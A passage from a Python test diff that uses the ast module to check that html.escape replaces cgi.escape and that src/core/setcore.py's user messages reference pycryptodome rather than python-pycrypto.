for node in ast.walk(tree) + if isinstance(node, ast.ImportFrom) + and node.module == "html" + and any(alias.name == "escape" for alias in node.names) + ] + + assert cgi_escape_imports == [] + assert html_escape_imports + + +def test_setcore_user_messages_reference_pycryptodome(): + source = (ROOT / "src/core/setcore.py").read_text() + + assert "python-pycrypto" not in source + assert "pycryptodome" in source + + +def _attribute_roots(tree, attribute_name): + return { + node.value.id + for node in ast.walk(tree) + if isinstance(node, ast.Attribute) + and node.attr == attribute_name + and isinstance(node.value, ast.Name) + }